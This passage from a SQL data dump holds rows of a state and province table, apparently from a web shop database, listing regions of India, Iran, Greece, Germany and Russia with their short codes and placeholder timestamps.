00:00:00', 0), (416, 1, 99, 0, 'Daman & Diu', 'DAM', 'DA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (417, 1, 99, 0, 'Delhi', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (418, 1, 99, 0, 'Goa', 'GOA', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (419, 1, 99, 0, 'Gujarat', 'GUJ', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (420, 1, 99, 0, 'Haryana', 'HAR', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (421, 1, 99, 0, 'Himachal Pradesh', 'HIM', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (422, 1, 99, 0, 'Jammu & Kashmir', 'JAM', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (423, 1, 99, 0, 'Jharkhand', 'JHA', 'JH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (424, 1, 99, 0, 'Karnataka', 'KAR', 'KA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (425, 1, 99, 0, 'Kerala', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (426, 1, 99, 0, 'Lakshadweep', 'LAK', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (427, 1, 99, 0, 'Madhya Pradesh', 'MAD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (428, 1, 99, 0, 'Maharashtra', 'MAH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (429, 1, 99, 0, 'Manipur', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (430, 1, 99, 0, 'Meghalaya', 'MEG', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (431, 1, 99, 0, 'Mizoram', 'MIZ', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (432, 1, 99, 0, 'Nagaland', 'NAG', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (433, 1, 99, 0, 'Orissa', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (434, 1, 99, 0, 'Pondicherry', 'PON', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (435, 1, 99, 0, 'Punjab', 'PUN', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (436, 1, 99, 0, 'Rajasthan', 'RAJ', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (437, 1, 99, 0, 'Sikkim', 'SIK', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (438, 1, 99, 0, 'Tamil Nadu', 'TAM', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (439, 1, 99, 0, 'Tripura', 'TRI', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (440, 1, 99, 0, 'Uttaranchal', 'UAR', 'UA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (441, 1, 99, 0, 'Uttar Pradesh', 'UTT', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (442, 1, 99, 0, 'West Bengal', 'WES', 'WE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (443, 1, 101, 0, 'Ahmadi va Kohkiluyeh', 'BOK', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (444, 1, 101, 0, 'Ardabil', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (445, 1, 101, 0, 'Azarbayjan-e Gharbi', 'AZG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (446, 1, 101, 0, 'Azarbayjan-e Sharqi', 'AZS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (447, 1, 101, 0, 'Bushehr', 'BUS', 'BU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (448, 1, 101, 0, 'Chaharmahal va Bakhtiari', 'CMB', 'CM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (449, 1, 101, 0, 'Esfahan', 'ESF', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (450, 1, 101, 0, 'Fars', 'FAR', 'FA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (451, 1, 101, 0, 'Gilan', 'GIL', 'GI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (452, 1, 101, 0, 'Gorgan', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (453, 1, 101, 0, 'Hamadan', 'HAM', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (454, 1, 101, 0, 'Hormozgan', 'HOR', 'HO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (455, 1, 101, 0, 'Ilam', 'ILA', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (456, 1, 101, 0, 'Kerman', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (457, 1, 101, 0, 'Kermanshah', 'BAK', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (458, 1, 101, 0, 'Khorasan-e Junoubi', 'KHJ', 'KJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (459, 1, 101, 0, 'Khorasan-e Razavi', 'KHR', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (460, 1, 101, 0, 'Khorasan-e Shomali', 'KHS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (461, 1, 101, 0, 'Khuzestan', 'KHU', 'KH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (462, 1, 101, 0, 'Kordestan', 'KOR', 'KO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (463, 1, 101, 0, 'Lorestan', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (464, 1, 101, 0, 'Markazi', 'MAR', 'MR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (465, 1, 101, 0, 'Mazandaran', 'MAZ', 'MZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (466, 1, 101, 0, 'Qazvin', 'QAS', 'QA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (467, 1, 101, 0, 'Qom', 'QOM', 'QO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (468, 1, 101, 0, 'Semnan', 'SEM', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (469, 1, 101, 0, 'Sistan va Baluchestan', 'SBA', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (470, 1, 101, 0, 'Tehran', 'TEH', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (471, 1, 101, 0, 'Yazd', 'YAZ', 'YA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (472, 1, 101, 0, 'Zanjan', 'ZAN', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (535, 1, 84, 0, 'ΛΕΥΚΑΔΑΣ', 'ΛΕΥ', 'ΛΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (532, 1, 84, 0, 'ΛΑΡΙΣΑΣ', 'ΛΑΡ', 'ΛΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (504, 1, 84, 0, 'ΑΡΚΑΔΙΑΣ', 'ΑΡΚ', 'ΑΚ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (503, 1, 84, 0, 'ΑΡΓΟΛΙΔΑΣ', 'ΑΡΓ', 'ΑΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (533, 1, 84, 0, 'ΛΑΣΙΘΙΟΥ', 'ΛΑΣ', 'ΛΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (534, 1, 84, 0, 'ΛΕΣΒΟΥ', 'ΛΕΣ', 'ΛΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (530, 1, 84, 0, 'ΚΥΚΛΑΔΩΝ', 'ΚΥΚ', 'ΚΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (553, 1, 84, 0, 'ΑΙΤΩΛΟΑΚΑΡΝΑΝΙΑΣ', 'ΑΙΤ', 'ΑΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (529, 1, 84, 0, 'ΚΟΡΙΝΘΙΑΣ', 'ΚΟΡ', 'ΚΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (531, 1, 84, 0, 'ΛΑΚΩΝΙΑΣ', 'ΛΑΚ', 'ΛK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (517, 1, 84, 0, 'ΗΜΑΘΙΑΣ', 'ΗΜΑ', 'ΗΜ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (518, 1, 84, 0, 'ΗΡΑΚΛΕΙΟΥ', 'ΗΡΑ', 'ΗΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (519, 1, 84, 0, 'ΘΕΣΠΡΩΤΙΑΣ', 'ΘΕΠ', 'ΘΠ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (520, 1, 84, 0, 'ΘΕΣΣΑΛΟΝΙΚΗΣ', 'ΘΕΣ', 'ΘΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (521, 1, 84, 0, 'ΙΩΑΝΝΙΝΩΝ', 'ΙΩΑ', 'ΙΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (522, 1, 84, 0, 'ΚΑΒΑΛΑΣ', 'ΚΑΒ', 'ΚΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (523, 1, 84, 0, 'ΚΑΡΔΙΤΣΑΣ', 'ΚΑΡ', 'ΚΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (524, 1, 84, 0, 'ΚΑΣΤΟΡΙΑΣ', 'ΚΑΣ', 'ΚΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (525, 1, 84, 0, 'ΚΕΡΚΥΡΑΣ', 'ΚΕΡ', 'ΚΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (526, 1, 84, 0, 'ΚΕΦΑΛΛΗΝΙΑΣ', 'ΚΕΦ', 'ΚΦ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (527, 1, 84, 0, 'ΚΙΛΚΙΣ', 'ΚΙΛ', 'ΚΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (528, 1, 84, 0, 'ΚΟΖΑΝΗΣ', 'ΚΟΖ', 'ΚZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (507, 1, 84, 0, 'ΑΧΑΪΑΣ', 'ΑΧΑ', 'ΑΧ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (508, 1, 84, 0, 'ΒΟΙΩΤΙΑΣ', 'ΒΟΙ', 'ΒΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (509, 1, 84, 0, 'ΓΡΕΒΕΝΩΝ', 'ΓΡΕ', 'ΓΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (510, 1, 84, 0, 'ΔΡΑΜΑΣ', 'ΔΡΑ', 'ΔΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (511, 1, 84, 0, 'ΔΩΔΕΚΑΝΗΣΟΥ', 'ΔΩΔ', 'ΔΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (512, 1, 84, 0, 'ΕΒΡΟΥ', 'ΕΒΡ', 'ΕΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (513, 1, 84, 0, 'ΕΥΒΟΙΑΣ', 'ΕΥΒ', 'ΕΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (514, 1, 84, 0, 'ΕΥΡΥΤΑΝΙΑΣ', 'ΕΥΡ', 'ΕΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (515, 1, 84, 0, 'ΖΑΚΥΝΘΟΥ', 'ΖΑΚ', 'ΖΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (516, 1, 84, 0, 'ΗΛΕΙΑΣ', 'ΗΛΕ', 'ΗΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (505, 1, 84, 0, 'ΑΡΤΑΣ', 'ΑΡΤ', 'ΑΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (506, 1, 84, 0, 'ΑΤΤΙΚΗΣ', 'ΑΤΤ', 'ΑΤ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (536, 1, 84, 0, 'ΜΑΓΝΗΣΙΑΣ', 'ΜΑΓ', 'ΜΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (537, 1, 84, 0, 'ΜΕΣΣΗΝΙΑΣ', 'ΜΕΣ', 'ΜΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (538, 1, 84, 0, 'ΞΑΝΘΗΣ', 'ΞΑΝ', 'ΞΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (539, 1, 84, 0, 'ΠΕΛΛΗΣ', 'ΠΕΛ', 'ΠΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (540, 1, 84, 0, 'ΠΙΕΡΙΑΣ', 'ΠΙΕ', 'ΠΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (541, 1, 84, 0, 'ΠΡΕΒΕΖΑΣ', 'ΠΡΕ', 'ΠΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (542, 1, 84, 0, 'ΡΕΘΥΜΝΗΣ', 'ΡΕΘ', 'ΡΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (543, 1, 84, 0, 'ΡΟΔΟΠΗΣ', 'ΡΟΔ', 'ΡΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (544, 1, 84, 0, 'ΣΑΜΟΥ', 'ΣΑΜ', 'ΣΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (545, 1, 84, 0, 'ΣΕΡΡΩΝ', 'ΣΕΡ', 'ΣΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (546, 1, 84, 0, 'ΤΡΙΚΑΛΩΝ', 'ΤΡΙ', 'ΤΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (547, 1, 84, 0, 'ΦΘΙΩΤΙΔΑΣ', 'ΦΘΙ', 'ΦΘ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (548, 1, 84, 0, 'ΦΛΩΡΙΝΑΣ', 'ΦΛΩ', 'ΦΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (549, 1, 84, 0, 'ΦΩΚΙΔΑΣ', 'ΦΩΚ', 'ΦΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (550, 1, 84, 0, 'ΧΑΛΚΙΔΙΚΗΣ', 'ΧΑΛ', 'ΧΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (551, 1, 84, 0, 'ΧΑΝΙΩΝ', 'ΧΑΝ', 'ΧΝ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (552, 1, 84, 0, 'ΧΙΟΥ', 'ΧΙΟ', 'ΧΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (569, 1, 81, 0, 'Schleswig-Holstein', 'SHO', 'SH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (554, 1, 81, 0, 'Freie und Hansestadt Hamburg', 'HAM', 'HH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (555, 1, 81, 0, 'Niedersachsen', 'NIS', 'NI', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (556, 1, 81, 0, 'Freie Hansestadt Bremen', 'HBR', 'HB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (557, 1, 81, 0, 'Nordrhein-Westfalen', 'NRW', 'NW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (558, 1, 81, 0, 'Hessen', 'HES', 'HE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (559, 1, 81, 0, 'Rheinland-Pfalz', 'RLP', 'RP', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (560, 1, 81, 0, 'Baden-Württemberg', 'BWÜ', 'BW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (561, 1, 81, 0, 'Freistaat Bayern', 'BAV', 'BY', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (562, 1, 81, 0, 'Saarland', 'SLA', 'SL', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (563, 1, 81, 0, 'Berlin', 'BER', 'BE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (564, 1, 81, 0, 'Brandenburg', 'BRB', 'BB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (565, 1, 81, 0, 'Mecklenburg-Vorpommern', 'MVO', 'MV', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (566, 1, 81, 0, 'Freistaat Sachsen', 'SAC', 'SN', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (567, 1, 81, 0, 'Sachsen-Anhalt', 'SAA', 'ST', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (568, 1, 81, 0, 'Freistaat Thüringen', 'THÜ', 'TH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (570, 1, 176, 0, 'Адыгея Республика', 'AD', '01', 1, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (571, 1, 176, 0, 'Алтай Республика', 'AL', '04', 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (572, 1, 176, 0, 'Алтайский край', 'ALT', '22', 3, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (573, 1, 176, 0, 'Амурская область', 'AMU', '28', 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (574, 1, 176, 0, 'Архангельская область', 'ARK', '29', 5, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (575, 1, 176, 0, 'Астраханская область', 'AST', '30', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (576, 1, 176, 0, 'Башкортостан Республика', 'BA', '02', 7, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (577, 1, 176, 0, 'Белгородская область', 'BEL', '31', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (578, 1, 176, 0, 'Брянская область', 'BRY', '32', 9, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (579, 1, 176, 0, 'Бурятия Республика', 'BU', '03', 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (580, 1, 176, 0, 'Владимирская область', 'VLA', '33', 11, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (581, 1, 176, 0, 'Волгоградская область', 'VGG', '34', 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (582, 1, 176, 0, 'Вологодская область', 'VLG', '35', 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (583, 1, 176, 0, 'Воронежская область', 'VOR', '36', 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (584, 1, 176, 0, 'Дагестан Республика', 'DA', '05', 15, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (585, 1, 176, 0, 'Еврейская автономная область', 'YEV', '79', 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (586, 1, 176, 0, 'Забайкальский край', 'ZAB', '75', 17, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (587, 1, 176, 0, 'Ивановская область', 'IVA', '37', 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (588, 1, 176, 0, 'Ингушетия Республика', 'IN', '06', 19, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (589, 1, 176, 0, 'Иркутская область', 'IRK', '38', 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (590, 1, 176, 0, 'Кабардино-Балкарская Республика', 'KB', '07', 21, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (591, 1, 176, 0, 'Калининградская область', 'KGD', '39', 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (592, 1, 176, 0, 'Калмыкия Республика', 'KL', '08', 23, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (593, 1, 176, 0, 'Калужская область', 'KLU', '40', 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (594, 1, 176, 0, 'Камчатский край', 'KAM', '41', 25, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (595, 1, 176, 0, 'Карачаево-Черкесская Республика', 'KC', '09', 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (596, 1, 176, 0, 'Карелия Республика', 'KR', '10', 27, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 